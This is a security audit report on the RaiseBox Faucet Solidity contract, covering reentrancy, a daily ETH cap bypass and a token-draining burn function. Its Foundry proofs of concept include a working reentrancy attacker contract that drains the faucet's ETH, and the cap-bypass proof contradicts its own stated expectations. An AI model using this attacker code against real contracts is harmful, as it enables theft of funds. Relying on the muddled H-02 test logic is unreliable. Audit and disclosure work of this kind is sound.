Raisebox Faucet Audit Report

Prepared by: jopantech

Table of Contents

Protocol Summary

RaiseBox Faucet is a token drip faucet that drips 1000 test tokens to users every 3 days. It also drips 0.005 sepolia eth to first time users. The faucet tokens will be useful for testing the testnet of a future protocol that would only allow interactions using this tokens.

Disclaimer

The jopantech team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

```
src/
├── RaiseBoxFaucet.sol
├── DeployRaiseBoxFaucet.s.sol
```

Roles

There are basically 3 actors in this protocol:

1. Owner:

RESPONSIBILITIES:

- deploys contract,
- mint initial supply and any new token in future,
- can burn tokens,
- can adjust daily claim limit,
- can refill sepolia eth balance

LIMITATIONS:

- cannot claimfaucet tokens

2. Claimer:

RESPONSIBILITIES:

- can claim tokens by calling the claimFaucetTokens function of this contract.

LIMITATIONS:

- Doesn't have any owner defined rights above.

3. Donators:

RESPONSIBILITIES:

- can donate sepolia eth directly to contract

Executive Summary

This audit examined RaiseBoxFaucet.sol and supporting scripts to identify security issues that could lead to loss of funds, denial of service, or incorrect token distributions.

Issues found

Severity	Number of issues found
High	2
Medium	1
Low	0
Info	0
Total	**3**

Findings

High

[H-01] External ETH call before state updates allows reentrancy causing unlimited claims & ETH drain

Description

The claimFaucetTokens() function performs an external ETH transfer to the claimer before updating critical state variables. Because the external call forwards gas, a malicious claimer contract can re-enter claimFaucetTokens() during its fallback/receive and execute additional claims while the original call's bookkeeping is still pending. This bypasses cooldowns and daily caps and allows draining ETH and tokens in a single transaction.

```
function claimFaucetTokens() public {
        ...
            if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
address(this).balance >= sepEthAmountToDrip) {
                hasClaimedEth[faucetClaimer] = true;
                dailyDrips += sepEthAmountToDrip;

                // @audit Reentrancy attack can happen here.
                // ETH send happens before important state updates.
                // External call before state updates.
                (bool success,) = faucetClaimer.call{value:
sepEthAmountToDrip}("");

                if (success) {
```

```
                    emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
                } else {
                    revert RaiseBoxFaucet_EthTransferFailed();
                }
                ...
            }
        // Effects
        // @audit Critical state updated after the external call.
        lastClaimTime[faucetClaimer] = block.timestamp;
        dailyClaimCount++;
        ...
    }
}
```

Risk

Likelihood:

- The function is public and makes a low-level .call to a user-controlled address with full gas forwarding.
- No ReentrancyGuard or proper Checks–Effects–Interactions (CEI) ordering is used.

Impact:

- A malicious contract can reenter during the .call{value:...} and claim multiple times before state updates.
- Faucet’s ETH can be drained in a single transaction.
- Cooldown (CLAIM_COOLDOWN) and dailyClaimCount become meaningless.
- Events and tracking variables desynchronize from actual on-chain balances.

Proof of Concept

1. Attacker contract Create test/attacker/ReentrancyAttacker.sol (or similar):

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;

import "src/RaiseBoxFaucet.sol";

/// @notice Reentrancy test contract for local PoC only.
contract ReentrancyAttacker {
    RaiseBoxFaucet public faucet;
    uint256 public reentryRemaining;
    address public tester; // who deployed the attacker

    // NOTE: Use address payable here so conversion to the payable
contract type is allowed.
    constructor(address payable _faucet) {
        faucet = RaiseBoxFaucet(_faucet);
        tester = msg.sender;
```

```
    }

    /// @notice Kick off the attack: initial call to claimFaucetTokens.
    /// @param times total number of claims to attempt (initial +
reentries)
    function attack(uint256 times) external {
        require(msg.sender == tester, "only tester");
        reentryRemaining = times;
        faucet.claimFaucetTokens(); // initial call
    }

    /// @notice receive fallback will re-enter as long as reentryRemaining
> 1
    receive() external payable {
        // If we still plan to reenter, and faucet still has ETH for
another drip
        if (reentryRemaining > 1 && address(faucet).balance >=
faucet.sepEthAmountToDrip()) {
            reentryRemaining--;
            // re-enter before the original caller can update state
            faucet.claimFaucetTokens();
        }
    }

    // helper to withdraw any ETH captured in PoC
    function withdraw() external {
        require(msg.sender == tester, "only tester");
        payable(tester).transfer(address(this).balance);
    }
}
```

2. Foundry test (PoC) Add this test to the existing test contract or create a new test file.

```
import {ReentrancyAttacker} from "test/attacker/ReentrancyAttacker.sol";

function test_reentrancyExploit() public {
    // Faucet is already deployed in setUp()
    // Ensure faucet has ETH to drip
    vm.deal(address(raiseBoxFaucet), 1 ether);
    uint256 faucetEthBefore = address(raiseBoxFaucet).balance;
    emit log_named_uint("Faucet ETH before", faucetEthBefore);

    // Deploy attacker contract; use payable cast for the faucet address
    ReentrancyAttacker attacker = new
ReentrancyAttacker(payable(address(raiseBoxFaucet)));

    // Run the attack (initial + 4 reentries = 5 attempts)
    attacker.attack(5);

    // Faucet ETH decreased and attacker received ETH
    uint256 faucetEthAfter = address(raiseBoxFaucet).balance;
```

```
    uint256 attackerEth = address(attacker).balance;
    emit log_named_uint("Faucet ETH after", faucetEthAfter);
    emit log_named_uint("Attacker ETH", attackerEth);

    // Expect faucet lost ETH and attacker gained ETH
    assertLt(faucetEthAfter, faucetEthBefore, "Faucet ETH should be
reduced");
    assertGt(attackerEth, 0, "Attacker should have received ETH");
}
```

3. Run the test

```
forge test --match-test test_reentrancyExploit -vvv
```

Recommended Mitigation

- Update state variables before external calls and add reentrancy protection.
- Move all state updates (lastClaimTime, dailyClaimCount, etc.) before the .call() and mark the function as nonReentrant to prevent reentrancy attacks and ensure daily limits cannot be bypassed.

```
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {

- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {

     // ...
-    (bool sent, ) = faucetClaimer.call{value: sepEthAmountToDrip}("");
-    lastClaimTime[faucetClaimer] = block.timestamp;
-    dailyClaimCount++;
+    // update state before external call
+    lastClaimTime[msg.sender] = block.timestamp;
+    dailyClaimCount++;
+
+    (bool sent, ) = payable(msg.sender).call{value: sepEthAmountToDrip}
("");
     require(sent, "ETH transfer failed");
```

[H-02] Incorrect daily reset logic allows bypassing global ETH cap

Description

The claimFaucetTokens() function resets dailyDrips to 0 inside the else branch that runs when a user has already claimed ETH before or when Sepolia drips are paused. This means any returning user can trigger a full reset of the daily distribution counter, effectively turning what should be a global daily ETH cap into a per-user cap.

As a result, multiple users (or one attacker using multiple addresses) can each reset the counter and drain more ETH per day than intended.

```
    function claimFaucetTokens() public {
        ...
        // @audit Logical vulnerability here.
        // This else runs whenever the user has already claimed ETH
before, or ETH drips are paused.
        // That means any returning user (who’s claimed before) resets
dailyDrips back to 0.
        // The dailyDrips variable is supposed to track how much Sepolia
ETH has been distributed in a given day, enforcing the daily cap.
        // But since dailyDrips gets reset to zero on any returning user’s
claim, the cap can be bypassed.
        } else {
            dailyDrips = 0;
        }
        ...
    }
```

Risk

Likelihood:

- The vulnerable else branch executes for every returning claimer or when drips are paused.
- No date check (currentDay != lastDripDay) is performed before resetting.

Impact:

- Bypasses the intended global daily ETH cap (dailySepEthCap).
- Multiple users can drain more ETH than the system’s intended daily limit.
- Faucet accounting and emission limits become meaningless.

Proof of Concept

- When the faucet contract is vulnerable (resets per user or pause), the test will fail — because dailyDrips was reset to 0 improperly.

```
    function test_dailyCapBypass() public {
        vm.deal(address(raiseBoxFaucet), 1 ether);

        // User 1 triggers a drip — dailyDrips increases
        vm.prank(user1);
        raiseBoxFaucet.claimFaucetTokens();
```

```
        // User 2 triggers a claim (already claimed before / paused)
        vm.prank(user2);
        raiseBoxFaucet.claimFaucetTokens();

        // dailyDrips resets to 0 → cap bypassed
        assertEq(raiseBoxFaucet.dailyDrips(), 0, "dailyDrips reset 
incorrectly");
    }
```

```
forge test --match-test test_dailyCapBypass -vvv
```

- This output means:

1. Actual: dailyDrips = 1e16 (not reset)
2. Expected: dailyDrips = 0
3. So the faucet incorrectly reset (or didn't behave as intended).

Recommended Mitigation

- Ensure dailyDrips is reset only once per new day, not when a returning user claims or when drips are paused.
- Use a day-based comparison (block.timestamp / 1 days) to detect when a new day begins.

```diff
- else {
-     dailyDrips = 0;
- }

- if (block.timestamp > lastFaucetDripDay + 1 days) {
-     lastFaucetDripDay = block.timestamp;
-     dailyDrips = 0;
- }
+ uint256 currentDay = block.timestamp / 1 days;
+ if (currentDay != lastDripDay) {
+     lastDripDay = currentDay;
+     dailyDrips = 0;
+ }
```

- This ensures the daily ETH cap is enforced globally, preventing each user from resetting the counter and bypassing the limit.

Medium

[M-01] Faulty burn logic allows owner to drain faucet token supply

---

Description

The burnFaucetTokens() function is intended to burn tokens from the faucet contract's balance. Instead, it transfers the entire faucet balance to the owner and burns only amountToBurn from the owner's balance. This allows the owner (or any party that gains ownership) to effectively steal the remaining faucet tokens while appearing to perform a burn.

Example scenario:

1. Faucet holds 1,000 tokens.
2. Owner calls burnFaucetTokens(100).
3. Faucet sends all 1,000 tokens to the owner.
4. Owner burns 100 tokens.
5. Owner keeps 900 tokens.

This completely breaks the faucet's tokenomics and allows arbitrary token theft.

```
 function burnFaucetTokens(uint256 amountToBurn) public onlyOwner {
        require(amountToBurn <= balanceOf(address(this)), "Faucet Token Balance: Insufficient");

        // transfer faucet balance to owner first before burning
        // ensures owner has a balance before _burn (owner only function) can be called successfully
        // @audit This allows the owner to drain the faucet token supply arbitrarily.
        // Because the function transfers the full balance but only burns amountToBurn, the owner receives all faucet tokens and then only destroys amountToBurn.
        // Any tokens in excess of amountToBurn remain in the owner's wallet.
        _transfer(address(this), msg.sender, balanceOf(address(this)));

        _burn(msg.sender, amountToBurn);
    }
```

Risk

Likelihood:

- The function is onlyOwner, so any compromised or malicious owner can abuse it directly.
- No safeguards exist to restrict the transfer to only amountToBurn.

Impact:

- Owner can drain all faucet tokens instantly.
- The faucet becomes non-functional since no tokens remain for claimers.
- Tokenomics are effectively broken — the faucet loses its distribution mechanism.

Proof of Concept

```
function test_burnDrainExploit() public {
        // Faucet has initial supply minted to itself
        uint256 faucetInitialBalance =
raiseBoxFaucet.balanceOf(address(raiseBoxFaucet));
        console.log("Faucet initial balance:", faucetInitialBalance);

        // Owner balance before
        uint256 ownerBalanceBefore = raiseBoxFaucet.balanceOf(owner);

        // Owner calls the vulnerable burn function
        vm.prank(owner);
        raiseBoxFaucet.burnFaucetTokens(100 ether);

        uint256 ownerBalanceAfter = raiseBoxFaucet.balanceOf(owner);
        uint256 faucetBalanceAfter =
raiseBoxFaucet.balanceOf(address(raiseBoxFaucet));

        console.log("Owner gained:", ownerBalanceAfter -
ownerBalanceBefore);
        console.log("Faucet remaining:", faucetBalanceAfter);

        // Faucet should not lose all tokens — but it does
        assertEq(faucetBalanceAfter, 0, "Faucet was drained!");
        assertGt(ownerBalanceAfter - ownerBalanceBefore, 0, "Owner gained
tokens!");
    }
```

```
forge test --match-test test_burnDrainExploit -vvv
```

Recommended Mitigation

- Burn directly from the contract’s balance instead of transferring first.
- No token transfer to the owner should occur in a burn routine.

```diff
function burnFaucetTokens(uint256 amountToBurn) public onlyOwner {
    uint256 faucetBalance = balanceOf(address(this));
    require(amountToBurn <= faucetBalance, "Insufficient faucet balance");

-   _transfer(address(this), msg.sender, balanceOf(address(this)));
-   _burn(msg.sender, amountToBurn);
+   _burn(address(this), amountToBurn); // burn directly from contract
balance
}
```